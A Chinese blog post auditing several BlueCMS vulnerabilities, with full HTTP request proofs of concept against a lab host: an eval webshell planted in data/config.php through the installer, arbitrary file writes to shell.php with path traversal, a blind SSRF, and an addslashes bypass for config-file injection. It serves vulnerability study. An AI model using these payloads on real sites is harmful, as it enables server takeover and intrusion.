如果数据库连接不成功,则不会进入 fopen 函数,所以这里我才拿到任意文件读取漏洞后面讲,首先我们从上一个漏洞获取到数据库账号密码后,拼接信息,进行poc构造,刚开始想利用%df绕过双引号,但是实际是闭合不了的,因为 %df%27 是通过浏览器带入到数据库中,重新进行 GBK 编码之后才能闭合的单双引号

image-20241023001218859

那么我们就需要在双引号中执行代码,首先来看一下双引号在php中的特点

https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing

  1. 双引号可以解析变量的值

image-20241023002906574

  1. { } 可以用作与分割双引号内字符串的值,同时{}也不会被转译

image-20241023003230818

那么通过以上了解,我们就可以构造出以下 poc

POST /install/index.php?act=step4 HTTP/1.1
Host: 192.168.1.6:86
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 182

dbhost=localhost&dbname=blue{${eval($_POST[a])}}&dbuser=root&dbpass=0x000000000001&pre=blue&admin_name=admin&admin_pwd=admin&admin_pwd1=admin&[email protected]&cookie_hash=123

image-20241023003413321

payload被成功插入 data/config.php 文件中

image-20241023003452100

image-20241023003542559

尝试蚁剑连接

image-20241023004351677

72.admin/tpl_manage.php (do_edit) 存在任意文件写入漏洞

通过代码分析得值,我们需要传输3个参数

  1. act = do_edit
  2. tpl_name = 写入得文件名称
  3. tpl_content = 写入得内容

内容不为空的情况下需要调用 deep_stripslashes 函数

image-20241023005227144

找到函数声明处,参数 s t r 不是数组的情况下,就会调用 ‘ s t r i p s l a s h e s ( str 不是数组的情况下,就会调用 `stripslashes( str不是数组的情况下,就会调用‘stripslashes(str)`

image-20241023005421203

‌stripslashe 函数的作用正好是删除反斜杠,与 addslashes 相反。

image-20241023005639733

那么可以直接构造poc

POST /admin/tpl_manage.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

act=do_edit&tpl_content=<?php phpinfo();?>&tpl_name=../../shell.php

image-20241023005743133

成功写入

image-20241023005802805

73.admin/uc_setting.php (install) uc_api参数存在 无回显SSRF 服务端请求伪造漏洞

我们需要提交uc_ip、uc_api、uc_admin_pwd 参数,最后会将 uc_api 作为参数 传递到 uc_open 函数中,普及一些系统函数的知识

  • parse_url:解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
  • gethostbyname:gethostbyname 返回主机名 hostname 对应的 IPv4 互联网地址。
  • ip2long:返回 IPV4 网络地址的长整型格式,从标准网络地址格式(点字符串)转化得到

image-20241023032750298

找到函数声明,首先传输进来的url参数会调用parse_url去解析成数组,最后传输到 fsockopen 函数中执行

  • fsockopen — 打开一个网络连接或者一个Unix套接字连接

image-20241023033218833

使用python在服务区上开启一个web端口

python3 -m http.server 8900

构造poc,尝试让服务器自己去访问 8900 端口

POST /admin/uc_setting.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

act=install&uc_api=http://localhost:8900/&uc_admin_pwd=1&uc_ip=1

image-20241023033555999

image-20241023033649769

但是每次都会拼接 index.php 去访问,其实只要在 url 中给一个 Get 传参即可

image-20241023033836265

image-20241023033851793

74. admin/uc_setting.php (do_edit) tpl_content参数存在 任意文件写入 (二次写入置空绕过addslashes)

代码分析:当 act=edit 时,就会将 post 提交的 uc_config 当作参数,传输到uc_edit函数中调用

image-20241023164331220

uc_edit 函数,分析步骤如下

  1. 打开 data/config.php 文件,读取内容存储到 $content 变量中
  2. 如果 $uc_config[‘connect’] 不为空则执行if中的代码块
  3. 调用 uc_insert_config 函数,将我们输入的内容进行拼接替换
  4. 写入到 data/config.php 文件中

image-20241023164849468

找到 uc_insert_config 变量声明处进行分析

image-20241023165042567

那么问题来了,我们输入的字符串单引号会被 addslashes 进行转译,那么怎么绕过呢?

POST /admin/uc_setting.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

act=edit&uc_config[uckey]=');?><?php phpinfo();?><?php #

image-20241023170431311

image-20241023170453323

其实我们只要利用到 uc_insert_config 替换机制就能进行绕过

"/define\('UC_KEY',\s*'.*?'\);/i"

拿 UC_KEY 举例,我们提交空的 $uc_config['uckey']参数后,就会对 UC_KEY 常量置空

define('UC_KEY', '\');
替换成:
define('UC_KEY', '');

那我们就再提交一次空 poc

image-20241023170857263

可以发现UC_KEY中的反斜杠没有了,内容置空了 。但后面的内容依然保留着。

image-20241023170955281

访问config文件。

image-20241023171112115

标签:Blue,1.6,name,admin,Content,漏洞,74,Bluecms,php
From: https://blog.csdn.net/weixin_41924764/article/details/143192460

相关文章

  • 手把手教你学基带SOC芯片(2.1.6)--数字通信系统的工作流程:信源解码的基本原理
    目录信源解码的基本原理1. 数模转换(D/A转换)2. 滤波3. 信号重构常见的信源解码方法1. 脉冲编码调制(PCM)解码2. 差分脉冲编码调制(DPCM)解码3. 自适应差分脉冲编码调制(ADPCM)解码4. 音频解码5. 图像解码应用场景总结信源解码是数字通信系统接收过程中的一个重......
  • P9749 [CSP-J 2023] 公路 题解
    此题贪心食用更佳在输入油价的时候,我们边计算油价的最小值和路程和.当路程之和$>0$时,计算油价并且减去对应路程即可.注意事项要开$long$$long$!!!.代码#include<iostream>#include<cstdio>#include<cmath>#include<cstring>usingnamespacestd;typedeflonglo......
  • AT_abc374_e [ABC374E] Sensor Optimization Dilemma 2 题解
    洛谷题目传送门AT题目传送门题目大意:给定\(n\)道工序,你有\(X\)元的资金,对于第\(i\)道工序,有两种机器供你选择,第一种机器可以花费\(P_i\)元处理\(A_i\)个产品,第二种机器可以花费\(Q_i\)元处理\(B_i\)个产品。钦定第\(i\)天处理的产品个数为\(W_i\),求在总花费......
  • 在小红书上用AI数字人做心理学赛道,15天涨1.6万粉
    家人们!说实话,用AI数字人带货确实是对于普通人变现最快的项目,但对于AI数字人玩法,许多小伙伴还只是停留在单纯做视频带货的认知层面。但对于高阶玩家,早于将AI数字人si域变现,玩得如火纯青了。si域高客单转化,才是真正的变现无上限,且复购率强。最典型案例就是通过数字人,引流si......
  • P1074
    暴搜+剪枝。#include<bits/stdc++.h>usingnamespacestd;structf{intrank,sum;}cou[10];inta[10][10],hang[10][10],lie[10][10],gong[10][10],s[100][4],u,ok,most=-1,have;intwhich(inti,intj){if(i<=3){if(j<=3)return1;......
  • 基于Java的流浪动物领养系统 毕业设计-附源码 97463
    目 录1绪论1.1研究背景与意义1.2国内外研究现状1.3论文结构与章节安排2 系统分析2.1可行性分析2.1.1技术可行性分析2.1.2 经济可行性分析2.1.3法律可行性分析2.2系统功能分析2.2.1功能性分析2.2.2非功能性分析2.3 系统用例分析2.4 ......
  • 洛谷P3741 小果的键盘(Python)
    海阔凭鱼跃,天高任鸟飞。——宋·阮阅《诗话总龟前集》一、题目传送门https://www.luogu.com.cn/problem/P3741二、代码input()s=list(input().strip())ans="".join(s).count("VK")foriinrange(len(s)):ifs[i]=='V':s[i]='K'......
  • 知名服务-Samba服务漏东(CVE-2017-7494)
    Samba服务漏动原理说明CVE-2017-7494是一个Samba服务中的严重远程代码执行漏动,影响了Samba3.5.0至4.6.4/4.5.10/4.4.14之间未打补丁的版本。该漏动允许远程公鸡者在受影响的Samba服务器上执行任意代码,只要他们能够向SMB服务写入文件。公鸡者可以通过向Samba服务器上传一个特制的共......
  • 2024 最新 jetbrains GoLand 2024.1.6 激活(亲测可用)
    注意:接下来本文分享免费激活 GoLand 等Jetbrains全家桶工具,一直支持到最新版本2024.1.6。 1.下载安装IDEA (mac、window、linux都支持)大家直接在官网下载最新版本,登陆官网,下载最新版本2024.1.4。一步一步确定安装,然后打开这里提示输入激活码,先关闭应用!!!2.下载激活工具......
  • 2024 最新 jetbrains DataGrip 2024.1.6 激活(亲测可用)
    注意:接下来本文分享免费激活 IDEA 等Jetbrains全家桶工具,一直支持到最新版本2024.1.6。 1.下载安装IDEA (mac、window、linux都支持)大家直接在官网下载最新版本,登陆官网,下载最新版本2024.1.4。一步一步确定安装,然后打开这里提示输入激活码,先关闭应用!!!2.下载激活工具打......